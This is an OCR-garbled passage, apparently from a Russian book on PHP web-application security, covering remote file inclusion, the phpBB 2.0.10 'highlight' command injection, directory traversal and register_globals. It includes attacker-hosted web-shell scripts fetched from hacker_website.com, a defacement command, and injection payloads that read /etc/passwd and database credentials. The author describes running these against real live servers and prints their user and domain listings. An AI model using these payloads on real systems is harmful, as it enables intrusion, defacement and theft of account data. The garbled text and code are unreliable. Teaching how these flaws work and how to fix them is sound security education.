Hauubilfi cueHapuit ynpouweH, nabu He 3a6HBaTh BaM rojioBy 06xoaaMu npumu-
THBHbIX 3aiUT. YT0OblI 3arpy3uTh KOppekTHbIA ¢aitn, HeobXxomumo 3arpyskaTh
cnegyromuit URL: http://192.168.1.5/param.php?file=news/hetutils.html. B nau-
HoM cayyae 192.168.1.5 ato IP-aapec cepsepa B Moeil CeTH, Ha KOTOPOM A YCTaHO-
B Web-cepBep 1 TeCTUpOBaN BCE IIPUMEPHI.

B kauectse napamertpa nepenaerca nytb news/hetutils.html. JJomyctuM, uto xakep
XOu4eT NPOCMOTPEeTh COAECPIKUMOE AUpeKTOpUH. [lna aToro Ha cBoeM Web-caliTe OH
cosgaet ¢aiin, HazoBeM ero Is.php, co cneayomnUM coaepKHMbIM:
<?

print(system("ls -al"));

>

3aech Mbl C MTOMOLLBIO PYHKUHH print OTOOpaXKaeM pe3ynbTaT BbINOJHEHUA CHUC-
TEMHOH KOMaHbl 1s -al. Tenepp xakep B Ka4ecTBe l1apaMeTpa MOXeT yKa3aThb
noaubii URL k cBoeMy ¢aiiny U ero pesynabrat 6yaer BKIOUYEH B GOPMUPYEMYIO
Web-cTpanuLy:

http://192.168.1.5/param.php?file=http://www.hacker_website.com/Is.php.

B pesynbTaTe 3TOrO MBI YBUIMM CONCPXKHMOE AHWPEKTOpUM Ha arakyemoM Web-
cepepe 192.168.1.5, noroMy 4TO HMEHHO Ha HeM OYZeT BLITIOHEH cueHapuii [s.php.

[Tonyuaercs, 4To xakep 6e3 npobseM CMOXET BBINOAHATD NPOU3BOMALHLIE KOMaH-
bl Ha Web-cepBepe, coaepxauiem Takyro 6aHansiyto omnbky. Ho paay kaxxnoii
KOMaH/bl €C031aBaTh OTAENbHBLIA cLUeHApUH OECCMBICACHHO, BMECTO 3TOrO MOXHO
UCTOMb30BATL CNEAYIOLHHA:

<?

print (system($cmd) ) ;

7>

Komanaa, koTopas 10/KHa BbINOAHATLCA MHIKEKTHPYEMbIM KOAOM, NOJKHA epe-
JaBaThCA yepe3 napameTp cmd. EcAu Bbl XOTHTE BLIMOAHUTL KOMaHAY 1ls -al, TO
HaNpAMY!0 BbI30B 3TOrO CUeHapHa Beirgaen Obl  chenyrowdm  obpasom:
http://www.hacker_website.com/ls.php?cmd=1s%20-al. Tenepr npocTo BCTaB-
nsem stotr URL Ha Web-caift ¢ yassumocTsio ¥ nonyyaem: http://192.168.1.5/
param.php?file=http://www.hacker_website.com/ls.php?cmd=ls %20-al.
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]
Uro ewe onacHoro moxet caenath xakep? C MOMOLLBIO C/IEAYIOLIErO KOAA XaKep
MOJKET MPOU3BECTH nederic (moameHa coaepkumoro Web-ctpaHuubl):
<?
print (system("echo '<Hl>Hacked</Hl1>' > index.html"));

?>

Coxpansem 3tor kon B (aine deface.php u Bbinonnsem craemyrowmii URL:
http:/192.168.1.5/param.php?file=http://www.hacker_website.com/deface.php.
B ¢aiine deface.php Brinonuserca cnenyromas komanaa:

echo '<Hl>Hacked</Hl>' > index.html

B pesynbrare ¢daitn index.html 6yner nmepezanucan crpokoil "<HI>Hacked</H1>",
Ecnu index.html asnsercs rnasHoit Web-ctpanuueii Web-caifta, To npu Bxoae Ha
Web-caiiT noab3osatesnb yBUaAHT Haanuch "Hacked" 6onbiinMu Gyksamu.

3.2. Knaccuka xaHpa: phpBB

®opym phpBB onun U3 cambix pacnpoctpaHenHbix B MHTepHete, notoMy urto 06-
najaer GoAbILIMM KOAHHECTBOM BO3MOXHOCTeH W npH atom abcomoTHo Gecnnar-
Heif. Ho Takag Gonbillag pacnpocTpaHEeHHOCTD ABAAETCA W CAMBIM CEPbE3HBIM He-
aoctatkoM. Jleio B TOM, 4YTO MMEHHO TakWe MPOrpaMMbl MONAfaldT 10
MPUCTAILHOE BHHMAHWE XaKepOB, BeAb €CAH HAlTH B HeH onbKy, To MoXkHO Oy-
aet B3nomatb Gosbiiioe konuyecTBo Web-cepsepos. MmenHo mostomy Windows
aTakyloT Yalle, YeM apyrue, MeHee pacnpocTtpaHexnHbie OC.,

®opym phpBB atakyior pocratouno 4acto. I'nsns Ha kox cueHapues ¢opyMma,
KOTOPBIA JOCTYINEH WHPOKOH O6LIECTBEHHOCTH, NOHMMaEUIb, YTO ero paspabarsi-
BaJH OMBITHLIE [TPOTPAMMHMCTBI, HO W OHHU He 3acTpaxoBaHbl OT OwHOOK. Tak,
B Bepcuu 2.0.10 6bina HaiimeHa kpuTHuyeckas YA3BUMOCTb, KOTOPOH MOXKET
BOCMOIb30BaTLCA MoboH xakep.

Koraa a nucasn 3TH CTPOKH, TO 3TOH YA3BUMOCTH UCIIONHHIOCH YXKe TONTOpa roaa
(snepsbie 0 Hel ycabiwanu B Hoabpe 2004 r.), HO, HECMOTpPA HA 3TO, C MIOMOLLBIO
ITOUCKOBOH CHUCTEMBI i CMOI O4€Hb JIETKO HaHTH ya3BuMbId Web-caliT, JlocTaTouHO
B Yahoo unu Google Habpatb B cTpoke noucka "phpBB 2.0.10" U npocMoTpeTs
pe3yabTaT novcka rae-to Ha 100-oii ctpaHuue.

MoskHO HaiTH W yxe B3iomaHHbie Web-caiTel (puc. 3.4). B naHHOM cny4ae B 3a-
ronoske dopyma kpacyerca Haanucs "HACKED BY NUTTER4". Xakep ssHo
yiuuToxun ¢opym, a snaaesen Web-caiita obunencsa v He cTan BOCCTaHABAKBATD
Oa3y maHHbIX. BoT Tak BOT Web-caiiT v BUCHT BO B3JIOMaHHOM COCTOSHHM.

HUrak, gaBsaiite nocCMOTpHM, Ha 4eM OCHOBaHa YA3BUMOCTb, W YBH/IMM, Kak JICIKO ¢l
BOCIIOAB30BATLCA. [ 3TOro 4 Hawes1 OAHH HE OYeHb MOMyJiApibIf (JOpYyM H BbINO/I-
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HWI Ha HEM HECKONMbKO KoMaHA. Utobbt He obwxaTs Branensues, vMa Web-caifra u3-
MEHEHO, a Ha CHUMKax mobas HHbOpMaLMA, KOTOpad MOXKET YKA3aTh Ha BiIAJeNblia,
3akpaiueHa. byaem nonpasymesars, yro anpec Web-cepaepa sitename.domain.

e 24
SR
\“g‘-‘; ? :%%::%VQ 5;,,,‘”‘3,@5!@‘*‘%@&"‘ B - i

lu

uc. 3.4. BanomanHwii Hopym

Htak, 4Tobbl BOCMONL3OBATLCR YA3BUMOCTBI), HEOOXOOHWMO OTKPbITH ¢GOpyM Ha
Web-cTpannue npocmotpa moboro ronuka. B ctpoke URL 8bl pomxkHbl yBHAETD
yTo-TO Noxoxkee Ha http://sitename.domain/phpBB2/viewtopic.php?t=7.

Tenepb, 4ToObl y3HATH, €CTL W YA3BUMOCTb HA Web-caiiTe, JocTaTOYHO AO6ABHTDL
K 3TO# cTpoke cneayrowuii TekeT: "&highlight=%2527.$poster=%601s%60.%2527".

Ecau yaseumocTb ectb Ha Web-caliTe, To 3arpy3urcs Web-cTpaHvua, B KOTOPOH
BMecTO aBTOpa B KosioHke Author Oyner kpacoBatbes cnucok ¢ainos B aaHio
QUPEKTOPHH, B MOEM CJly4ae OKHO MOJNYYHIIO BMI, KaK 0Ka3aHO Ha puc. 3.5.
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Puc. 3.5. PeayneTaT BbINONHEHUA KOMaHALI 1S

HagaiiTe Tenepb NOCMOTPHUM, YTO e Mbl JobaBwin k cTpoke URL? Mbt noGasunu
napameTp highlight, KOTOPOMY MPHCBOMIIM crielHabHbIM 06pazoM chOpMHPOBAH-
HylO cTpoKy. CamMoe MHTEpPECHOE XpaHUTCA MeXy ABYMs CUMBONaMH %2527, 3aechb
llepeMeHHOMN $poster MPHUCBAWBAETCA MM KOMAHHASI, KOTOPYIO Mbl XOTHM BbINOJ-
HUTb Ha yJalleHHOW cUCcTeMe. DTa nepeMeHHas UCNOoJb3yeTcs CLEHapHeM Uif OTOo-
OparkeHHs UMEHY NONb30BaTeENdA, KOTOPLIA ocTaBun coobuieHre. Mbl xke npuceavba-
CM eil pe3ynbTaT BbINOAHEHHA CBOEl komaHabl. Komanay HeoOxoauMmoO noctaBuTh
110C/I€ 3HAKA PABEHCTBA W 3AKIKOUHTD €€ MexXay cumBonamu %60. B natuem ciyuac
7TO0 KOMaHAa 1s, KOTopas oToOpaxkaeT COAEP)KUMOE TEKYLUECH AHPCKTOPHH.

Msi MoxkeM Hcnonb3oBaTs U Apyrue koMaHasl OC UNIX. Hanpumep, Moxno npocMor-
peTh copepaknMoe daitna nons3oareneii. Jna aroro B crpoky URL nobamisem cho-
ayrommii Teket: "&highlight=%2527.$poster=%060cat %(0/etc/pusswd %060, %2527 ",
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Ha 3TOT pa3 Mbl BBINONIHAEM KOMaHIY cat /etc/passwd, KOTopas otoOpaxaer
daiin naponeii /etc/passwd. OGpaTHTe BHHMaHHe, YTO BMECTO npobena B CTPOKE
URL HyxHO ykasate %09 (puc. 3.6).

Puc. 3.6. PeaynbTat npocMmoTpa coaepxumoro gaiina naponen

daiin naponei MMeer oueHs BakHOE 3HaueHue. B nanHoM cnywae, ecnu nposuc-
TaTh pe3yJIbTAT B CaAMblil HU3, TO Bbl YBHAUTE OveHb OONbILONA cnucok nonn3opare-
ner. YacTb 3TOro cnucka npHBeeHa HHXKe:

&:/hsphere/local/home/gedde/ntnu.gedde.no/archive_in:/nonexistent
bildel:*:1335:1335:User

&:/hsphere/local/home/gedde/ntnu.gedde.no/archive_in:/nonexistent
cooey:*:1191:1191:User

&: /hsphere/local/home/neoblaze/cooey.neoblaze.net: /nonexistent
pjott:*:1375:1375:User
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&:/hsphere/local/home/alekslar/alekslarsen.net/pjott: /nonexistent
totland:*:1375:1375:User

&:/hsphere/local/home/alekslar/alekslarsen.net/totland: /nonexistent
jallaman:*:1191:1191:User

&: /hsphere/local/home/neoblaze/jallaman.neoblaze.net:/nonexistent
esrever:*:1375:1375:User

&:/hsphere/local/home/alekslar/alekslarsen.net/esrever:/nonexistent
sjolyst:*:1129:1129:User

&:/hsphere/local/home/blackpea/sjolyst.blackpearl.no:/nonexistent
nordste0:*:1367:1367:User

&:/hsphere/local/home/nordstei: /nonexistent gabefiji:*:1289:1289:User
&:/hsphere/local /hcme/rovinspe: /nonexistent sodmovie:*:1225:1225:User

&:/hsphere/local/home/shadowsco/shadowsofdoom.net/movie: /nonexistent
sandra:*:1375:1375:User

&: /hsphere/local/home/sheepmod/bryllup.sheepmods.com: /nonexistent
magno:*:1375:1375:User

&: /hsphere/local/home/alekslar/alekslarsen.net/magnose: /nonexistent
bildeupl:*:1051:1051:User &: /hsphere/local/home/korps/lillestrom-
musikkorps.no/medlem/bilderupload: /nonexistent

christia:*:1424:1424:User &:/hspherxe/local/home/lundern:/nonexistent
praha:*:1398:1398:User

&:/hsphere/local/home/piweb/hsphere/local/home/piweb/praha: /nonexist
ent )\b#i

B 3ToM criMcke conepKUTCA 60OABLIOE KOAWYECTBO HMEH JOMAIUHUX AUPEKTOPHIA
ana Web-caittoB. Bce oHM HaxonmaTca Ha 3ToM xe Web-cepBepe, a 3HaUYMT, UX TO-
e MOXHO Bianomatb. Hanpumep, B aupektopuH /hsphere/local/home/sheepmod/
bryllup.sheepmods.com sasHo Haxooutca Web-caiit bryllup.sheepmods.com,
W OH TaK JKe OKa3biBaeTcCd M0/ yrpo3oii. J[pyroe aeno, 4To Ha JAHHOM JTarle pasa
roAL30BaTENA, KOTOPbIC HaM MPeAOCTABACHDI, He 1OCTATOUHBI AN IPOCMOTPA HIH
pejakTHpoBaHHA (PaiinoB B JAHHOH AUPEKTOPHH, H 3TO OONBILOH FUTHOC AAMHUHHUCT-
paTopy. BeIBalOT cayuau, KOra BaM MOXET OKa3aTbCA HOCTYMHbLIM BECh CEpBEp.
Ho 3T0 He 3HauuT, 4yTO AansHeifuii B3foM HeBO3MOXkeH. Bo3moxkHO Bee.

Teneps nocmMoTpuM, KaKk MOXHO obpaTuThcd k 6ase maHHbIX. UTOOb! y3HATL UMA
6a3nl  pmadHbiX, Kk cTtpoke URL  pobGasnsem  cnenywowmuii  TeKCr:
"&highlight=%2527.$poster=$dbname.%2527". Ilaponb MOXHO y3HaTbh, 10GaBHB:
"&highlight=%2527.$poster=$passwd.%2527". Tenepb, 3Has nmapaMeTpb! AOCTYNA
1 CTPYKTYpY 0a3bl JAHHLIX, BbI CTAHOBHTECH OOrOM B JAHHOH CUCTEME.

Cneayomni npumep IMOKa3biBaeT, KaK MOXHO BBbIIIOJHHTb 3arpoCc SHOW

DATABASES, KOTOpbI MO3BOJMSET YBHOETb JOCTyNHbie 6a3bi  O&HHbBIX!
"&highlight=%2527.$poster=SHOW %20DATABASES.%2527".
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HUtak, ans noaHATHA yPOBHA NPHBHMAErUH MOXKHO ObuIO MOCTYNUTL CNEAYIOLIUM
cnocobowm:

O Tak kak BbINOAHATL KOMaHabl B cTpoke URL pocratouHo Heyno6HO, TO MOXKHO
6buto 661 3akauaTh Ha Web-cepsep Gonee ynobumiii cueHapuii, Hampumep, Ko-
MaHaHY10 o6onouky (shell);

O nonpo6osaTh BOCMONb30BaTbCA IKCTUIOMTOM 118 B3noMa Web-cepsepa U nosy-
yeHUd TpaB aAMUHUCTpaTOpa. B nepBoii cTpoke ¢aiina naponeii (cM. puc. 3.6)
MB! BUIUM, YTO NEpel HaMU He 4TO HHOe, Kak FreeBSD. Jlna nposepku MOXHO
BBIMOAHUTL KOMaHAY uname, [locie HANTH IKCTUTOUT, KOTOPbIA MOXKET NMOAHATD
ypOBeHb MpHBHAETHI uepes ya3BUMocTb B OC, W, HanpuUMmep, NPUCTYIATb
K YHHUYTOXKEHHIO BceX Web-caiiToB, pacnmonokeHHbIX Ha faHHOM Web-cepsepe.

Tak kak Moel uUenbio Obin He B3NOM, a pPacKpbiTHE OLIKMOOK aAMHHHUCTPATOPOB
H [pOrpaMMMCTOB, TO Ha 3TOM # 3aBEPILUN CBOM MccAefoBaHUA aaHHoro Web-
cepsepa.

Tenepr nasaiite pazbepem OLMOKU U BOIMOXKHBIE BAPHAHTBI UX PElUCHHUA. A OLUU-
60K TYT HOCTAaTOYHO:

1. Bnapeneu ¢opyma He nosaGotunca o ero o6HoBneHnu. Mcnonsays oueHb cTa-
PYIO BEPCHIO, aBTOp TIOCTaBHJI 1104 Yrpo3y Bce Web-caiiThl, KOTOpbIE HaXOAATCA
Ha naHHomM Web-cepsepe.

2. AnmunucTpaTtop Web-cepsepa He caeauT 3a 6€30nacHOCTBIO pacnonoxceHHblx
y Hero Web-caiitoB. S 3arnaHyn B AMpeKTOPHIO /r00t U YBUIEN TaM MHOXKECTBO!
YTHIHUT, B TOM 4HC/e U ANa TecTHpoBaHUs 6e3onacHocTd. UM agMuHKCTpaTOp:
NABHO He OOHOBAAN 3TH YTHAUTHI, THOO He 3amyckan. Takum o6pa3oM, oH na.xcej_
He 3HaeT, YT0 Ha ero Web-cepBepe HaXxoauTCa ya3BUMbIi Web-caiiT.

Hcnpasuth gauuyio omubky odeHb npocto. HyxHo caenath cnenyioee: OTKpoit-
Te aiin viewtopic.php ¢ nomowsto A06oH nporpaMmbl peJaKTHPOBAHUA TEKCTO=
BbIX (aHIOB U HalAHUTE CTPOKY:
Swords=explode(' ',

trim(htmlspecialchars{(urldecode (SHTTP_GET_VARS|('highlight'])})}:

Ecnu Bbl 3HaeTe PHP, To pomkHbl 3amMeTuTh QyHKUMIO urldecode, KOTOpas Ka
pa3 ¥ BBLIMONHAET CUCTEMHbIE BbI30BbI, nNepenaHuble yepes URL. Y6epurte 31;
byHKUHIO, MPH ITOM IOJHKHO OCTaThCA TOALKO:
Swords = explode(' ',

trim(htmlspecialchars (SHTTP_GET_VARS('highlight])));

Teneps Baw Web-caiitT 1 dopym B 6esonacHOCTH.

Hcnonb3oBaHue pyHKUMH urldecode B JaHHOM ciydae He 6e3omacHo. MoxHO
Ob10 100aBUTL PUIBTPALIMIO Ha OMAacHbIE CHMBONBI H OCTABHTDb €€ BbI3OB, HO A Npea-
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OYUTAIO He AaBaTh XaKepy AMLIHMX MOBOAOB, M korAa ucnonbiosat phpBB, T0
NMPOCTO YAAIUA AAHHYIO QYHKLHIO.

Ha nauubiii MOMeHT Bepcus ¢opyma phpBB 2.0.10 ssnsercsa ycrapesuueii, moaro-
My nydiue scero 6yner o6HOBHTL nporpaMMy Ha 6onee HoByro. Ha MOMeHT Hanu-
CaHMA 3ITHX CTPoK Ha Web-caiite paspaGotumukos (www.phpbb.com) yxe noc-
TynHa Bepcus 2.0.20. Ckayaiite nocneAHION BEPCHIO U MCMOJB3YHTE ee, a TakKe
peryispHo mnocewainte Web-caiit pa3paboTUHKOB, MOAMMILKHTECH HA PAcCBHUIKY
H CBOCBPEMEHHO OOHOBNAHTE yCTaHOBAEHHbIE NporpaMMbl. [ToMHHTE, YTO paxke
ecnu sawl Web-caliT He CHIbHO MOMyAAPEH, Yepe3 YA3BUMOCTb B €ro CLEHapHsX
MOTYT NocTpajarh Apyrue Web-caiThi.

3.3. Huvero nuwiHero

B ceru ceiidac MOXHO HAHTH MHOXECTBO MpOTrpaMM Ul aAMHHUCTPATOPOB
W MoJb30BaTEAEH, KOTOpPbIE XOTAT co3naTh coOcTBeHHbIH Web-caiiT. Eciu agmu-
HUCTPATOPL! AOCTATOYHO YACTO MOAXOHAT K BLIOOPY TAKHX MPOrpamMm ¢ yMOM, TO
HEOMBITHLIK H HUYErO HE 3HAIOLIHH NMOJb30BATEAb OKA3bIBAETCA B 3aMEILATENLCTBE.
Bepa BceMy, YTO NMUILYT B peksiamMe, Mbl HauvHAeM YCTaHABAHBATb pa3iH4HbIE
YTHINTBI, KOTOPbiE YNPOIIAIOT yNpaBaeHue conepxuMeiM Web-caiira.

Ho kaxnpas Takas nporpamma siBiseTcs yaapom no 6e3omacHOCTH. ITO A yKe He
pa3 rosopun, koraa onuceisas OC, u nostopio ceifuac. JlaBaite NOCMOTPUM, KakK
OTPHLATEABHO MOXET FOBAHATL YCTAHOBKA AMILHHUX cueHapueB Ha Web-caiit
(puc. 3.7).

YHem mor npusneys MeHs 3101 Web-caiit? Bo-nepBbix, OH AOCTaTOMHO HHTEpec-
HbIH, XOTb ¥ HA HE MOHATHOM MHeE W ana 6onblIKHCTBA YUTaTeNed A3bIke (YTO yc-
noxcHseT B3NoM). Bo-BTOphIX, Hcnoabdyer crapyro Bepcuio ¢opyma Invision
Power Board (2.1.1). Ha momenT HanvcaHus 3Toli rnasbl yxe Gbiia JOCTYIHA Bep-
cua 2.1.5. Ho a He cTan ucnoas3oBaTh A5 B3IoMa T€ YA3BHMOCTH, KOTOpbIE yiKe
Obinn Ha Web-cepsepe. Sl 3anyctun nouck B Google 1 Hawen oueHb HHTEPECHYIO
CCBUIKY:

http://www.unlock.no/software/
index.php?dir=umsa gupexropuu&file=umsa ¢aiina

(‘nopa napaMeTpel dir ¥ file, KOTOpPbIC MNO3BOAMIOT ckayaThb dain. S monpobosan
yKa3aTb B 0OOMX MapaMeTpax nyctoTy, f YBuaen owubky nocryna. XoTs Her, TO,
"FO 8 YBHOEN, 3TO KaKoe-TO cooflieHre Ha HEMOHATHOM MHe A3blKe, HO O4€Hb M0~
xokee na ownbky. MurepecHo, a 4To ecnv ykalzaTb B kauecTBe HMEHH AUPEKTO-
pm "/ wny npocTo /M. B oTBeTr cHoBa ownbka, 110 Tenepb yxKe 11a aur-
IMHCKOM A3BIKC, Kak noxasaito na puc. 3.8 (na pvcylike si niaMeponHo JaTop
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HEKOTOphIE MyTH, YT0oOb! He b0 BUAHO afpeca Web-caiiTa, KOTOPbIit 1 TECTHPO-
Ba). DTO YK€ HHTEPECHO, Beab HaM COODLUAIOT, YTO Mbl OOpATHANCH K 3anpeLueH-
HOM yacTH Web-caiira.

Puc. 3.7. Web-caiiT Aosep4nBOro nonb3osatens

B caMoil nocnenHe#i cTpoke HaM HamMCalnH, YTO YKa3aHHbIA NYyTb He pa3pelleH,
H TYT K€ NEPCHHUCJIEHDI BCE PA3PEUIEHHDLIC NYTH!

/home/vusers/domains /XXX

/home/vusers/users/XXXXX

/tmp

/var/tmp

/usr/local/bin

/usr/local/lib/php
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Puc. 3.8. Coobwenuve 06 owunbke npas gocTtyna

B nepsuix asyx cTtpokax cumsosiaMu "XXXXX" s 3ameHuN UMA manku, KoTopas
COOTBETCTBYET MMeHH Web-caiiTa. Pa3 HaM uTo-TO paspelueHo, naBaiTe NMOCMoOT-
puM Ha 3To. IlepBoe, uTo MOXHO YBHAETL — cTpykTYypy Web-caiita. Ina atoro
NOCTAaTO4HO NepefaTh B kayecTBe napametpa "../". Pe3ynbsTaTt nokasaH Ha puc. 3.9.
BoT oHu, Bce ¢aiinsl, Kak Ha NaloOHH, MOXKHO MYTEUIECTBOBAThL MO Ni0OLIM nankam
U CMOTPETb, YTO YrOAHO.

PaccMOTpeB, NOCTYNHbIE A% YTEHUS AUPEKTOPUH, A Halllesl MHOrO WHTEPECHOTO,
KoneuHo, B3naMbiBaTh Web-caiiT 1 He cTas, HO MOXHO CKa3aTb, YTO A CTOA/ Ha
1on nyTH K 3ToMy. TYT %ke B KOpHEBOH NUPEKTOPHH Haxoauscs cueHapwuil, KOTo-
puiit no3sonsa paborath ¢ 6a3oii AanHbIX MYSQL, koTopoit aocTaTouHo 6bino ne-
penath ToNbKo naposns. Jla, 3TOT naponib Hy)XKHO O6bIN10 elle U y3HaTh, HO HE YAHR-
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NIOCh, YTO ero MoxHo Oyaer jserko nomobpartb, TeM Gonee YTO BCS CTPYKTYpa
Web-caiita noctynHa.

53 [enarte [delel
“penametldelete]]

Puc. 3.9. Ctpyxrypa Web-caita

Owmubka Bragensua B ToM, YTO OH ocTaBua Ha Web-caiiTe ABHO He HCMONb3yeMble
cueHapuu. [lnioc apMuHUCTpaTOpY cepBepa: OH 3anpeTun AOCTYN K CHCTEMHBIM
OUPEKTOPHAM, a pa3peLum AOCTYN TONbKO K 0e300UAHbIM MankaM, rAe HET HHKa-
KHX cLieHapueB W nporpamMm. Jlaxke ecnau Bbl B3nomaerte stoTr Web-caiit, noctyna
K Apyrum Web-caititam Ha 3ToM xe Web-ceppepe y Bac He Oyner.
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3.4. ABTOMaTHU4Yeckas
perucrTpauus nepemMeHHbIX

B PHP. ecTb OaHa ouveHb HHTEpPCCHasA BO3MOXKHOCTL. aBTOMATHYCCKH CO3AABATDL
NCPCMCHHLIC /1A BXOAAUMUX AAHHBIX. Y1obms JIY4YlI€ TIOHATH 3TY TEMY, CHadala
HY>KHO NOTOBOPHUTH O TUIIAX MMAPAMETPOB.

MMapameTph! cueHapusi MOXHO NMOJy4YaTh PazIUYHBIMH METOAAMH, OCHOBHbIE 3TO;
GET, PoST U Cookies. [lna Bcex U3 3TUX MapaMeTpOB MOTYT aBTOMAaTHUYECKH cO3Aa-
BaThCA MepeMeHHbIE, eciin B (aiine HacTpoek php.ini mapameTp register_globals
yCTaHOBAEH B on. Mb! paccCMOTPUM OMAacHOCTb HEBEPHOTO HCMOAbL30OBAHUA 3apETru-
CTPHPOBAHHBIX NMEPEMEHHBIX Ha IPUMEpE NapaMeTpPOB GET H POST.

[MpakTHuyeckn Ha ao6om Gonee-menee kpynHom Web-caiite Heo6xonumo nony-
4YaTb OﬂpelleﬂeHHblﬁ BBOO CO CTOPOHBI ITOJIb30OBATC/IA. I[J'lﬂ 3TOTO Ha A3bIKC pa3i-
metkd HTML cospaiotrcs ¢opmbl, KOTOpbIE NepeaaloT CBOE COAEPIKHMMOE YKa3aH-
Homy haitny cueHapusa. Hanpumep, caeaylowuii npuMep nokasbiBaeT, Kak co3aath
¢opMy BBOAA HMEHH TI0/Ib3OBATENA:

<form action="param.php" method="get">

Ma none3oBaTensa: <input name="UserName'>

</form>

Y T3ra form HYXHO YKa3aThb ABa NapaMerpa:

(0 Action — 3JeCh Mbl OO/KHBI yKa3aThb UMA ¢aitna cueHapusa wid nonHbiii URL
k ¢aitny, KoTopoMmy nmepeaaroTca napamerpsl Gopmel;

O Method — Metroa nepeaauy. CyliecTBYIOT ABa METOAA flepefayH napaMmeTpos:
GET M POST. Bbl DO/MKHBI 4€TKO NOHWMMATb, Kak OHW paboTaloT 1 B YeM pa3HH-
ua, noaTomy 06a MeTo1a Mbl NMOJPOOHO PaCCMOTPHM UYYTh HHXE.

Mexay TaramMu <form> 4 </form> MOXHO CO3HAaBaTh JAEMEHTDI YNPABACHHUA, 3HA-
uyeHHA KOTopbiX OyayT nepenaBaThecs CueHapuio. B maHHOM npuUMepe MbI cO3paiu
TONLKO OHO none BBoAa (T3r input). [Ing npuMepa B kauecTBe HMEHH 11014 BBOAA
a ykasan "UserName".

JlaBaifTe NOCMOTpUM Ha MpUMeEPE, KaK MOXKHO YBH/IETb BBeaeHHoe B Web-hopmy
none3osateneM uma. Cambiii MPOCTOM BapyaHT 3To B (paline param.php Hcnoab30-
BaTh NEPEMEHHYIO $UserName. Jla, Mbl TakOH fNepeMeHHOH HE cO31aBalv, HO OHA
¢O3/1aeTCA UHTEPNPETATOPOM aBTOMAaTHYECKH NEpea 3amyCKOM CLICHapH4.

UroObl yBMAETb, KOTAA CO34aeTCa COOTBETCTBYIOLIHMIA MapaMeTp, naBaiTe co3/a-
aum (paitn param.php, kotopsiit 6yaet coaepxaTe popmy u koa obpabortku. Ta-
kum obpazom, napametpsl 6yayT nepenaBaTbCs TOMY XeE CUEHApHIO, B KOTOPOM
sBosTe JaHHble. [Ipumep Takoro cuenapua Ha s3vike PHP moxuo ysujetsb
B Juciudre 3.3,
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<HTML>
<HEAD> </HEAD>
<BODY>

<form action="param.php" method="get">
M nonep30BaTeNIA: <input name="UserName">
</ form>

<?php
if ($UserName<>"")

{
print ("<P>Bame mMa nonb3oBaTtensa: ");
print ("$UserName") ;
}

7>

</BODY>

<HTML>

Ecnu 3arpy3uts 3Ty @opmy B Opaysepe, To nepeMeHHas $UserName 6yner nyctoi,
MOTOMY 4TO eule He Obiio nmepenayd napamMeTpoB, H UHTEPIIPETATOP HHUYEro HE
cosgasan. Ecnu BBecTH MMA monb3oBaTens M HaxaTh <Enter>, To coaepxumoe
dopmbl OyneT nepe3arpy:ueHo, HO Tenepb rNepeMeHHas $UserName Oyner copep-
)KaTh BBeAECHHOE Noab3oBareneM UMA. Takum o6pa3om, MOXHO caenaTh NpoBeEPKY,
eC/IM NepeMeHHas He mycTas, To GopMa nojy4una napamerp U MOXKHO ero o6paba-
TbIBaTh. B HalleM npHMepe Mbl MPOCTO BLIBOAWM HA 3KpaH BBEACHHOE UMS.

C nomowbio GOpM MOXHO TIepeaBaTh U CKpbiThie fTapameTpbl. Hanpumep, nomu-,
MO MMEHH F0JIb30BaTeNs Bbl XOTHUTE NepeaaBaTh elie Kakoe-TO 3HAUYEHHE, KOTopoe
He J0/KHO ObITh BUAHO B opme. [11a 3TOro Bel MOXKETE 3aX0TETh CO3AaTh HEBU-
adMoe none BeBoaa. Hanpumep, B cnemyrowed ¢opme ecTb aBa fons BBOAA:
UserName W Password, HO BTOpoe nojie He OyaeT BUAMMO, MOTOMY HTO Y NOJA YKa-
3aH MapaMerp type (TUN), KOTOPOMY [IPHCBOEHO 3Ha4€HHE hidden (HEBHAUMBIH):

<form action="param.php" method="get">
User Name:
<input name="UserName">
<input type="hidden" name="Password" value="gwerty">

</form>
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[Tone Password HEBUAMMO, HO COAEPXKHMT 3HaueHHe. Takum ob6pazom, MOXKHO Tie-
penasaTh OT CLIEHApHs K CLUEHApHIO OfpelesieHHbie AaHHbie. Tenepb nocne nepe-
Ja4Yy napaMeTpoB Yy cUeHapHsa param.php 6yaer Ase nepeMeHHbie $UserName
H $Password C YCTAHOB/ICHHbIMH 3HAYCHUAMH.

Huxorna He nepenaBaiite TakuM o6pasoM BaskHbIe AaHHbIe. CKPBITHIE N0JA BCETa
PUBJICKAIOT BHUMaHUE XakepoB. HecMoTpa Ha To, 4TO moJie napons He BUAUMO Ha
dopme, noboit Gpaysep nossoaser npocMoTpeTb ucxoaHblii kog HTML-¢popmsl.
Hanpumep, B Internet Explorer ans atoro HyxHo BeiGpath Mexio View | Source.
JIroboli xakep CMOXET yBHAETb 3TOT MapaMmeTp B UCXOAHOM KOAC, a €CAH HAMo,
TO ¥ M3MEHUTb. [lnd W3MEHEHHS UCXOAHBIA KON CUEHAapHUs COXpaHAETCA Ha Jio-
KaJIbHOM AMCKE MMOJIb30BaTENd, U3MEHAeTCA napaMerp (ecau Hajo, TO U3MeHsAeTCs
nonae action ¢opmel Ha moaxbiii URL) W Bbinonxsercsa sanpoc k Web-cepeepy.
Ecnu Bbl He 3HaeTe, Kakue JaHHbIE BaXKHbIE, 8 KAKUE HET, TO He UCIIOABb3YiiTe 3TOT
MeTon Boobuue.

Tenepb morosopum moapobHee o Merogax nepenaud napamerpoB. Kak mbi yxe
3HaeM, UX [Ba — GET U POST. B o6ouX cny4yasx HHTEpnpeTaTop CO31aeT NepeMeH-
HbI€ C TAKUMH K€ HMEeHaMH, HO pa3iHyla B METOAAX €CTb.

3.4.1. MeTton GET

Haunem c merona GET. Bce napameTpbi, KOTOpbi€ NEpeAaloTcs CUeHapHIo, ome-
laloTcs B rnobanbHbie nepemennbie. [1oMUMO 3TOro, OHH NOMELIAIOTCA B MACCHB
SHTTP_GET_VARS. YT06BI HE NMHCATh TakOe AIMHHOE HMA MacCHBA, MOXKHO HCIIONb-
30BaTh UMA $_GET. Ho u 3710 ewe He Bce. [Tonb3osaTtenb MoXeT BUAETD N1APAMETPBI
B ctpoke URL. Hanpumep, nocne BLINOAHEHHUS NpUMepa C nepeaaved UMEHU H
napons URL wu3menutcs Ha: http://192.168.77.1/param.php?UserName=
Flenov&Password=qwerty. '

INocne anpeca HAET CUMBOA BOMPOCA, MOCAE KOTOPOro MIEPEUUCAIIOTCH NTapaMeTphbl
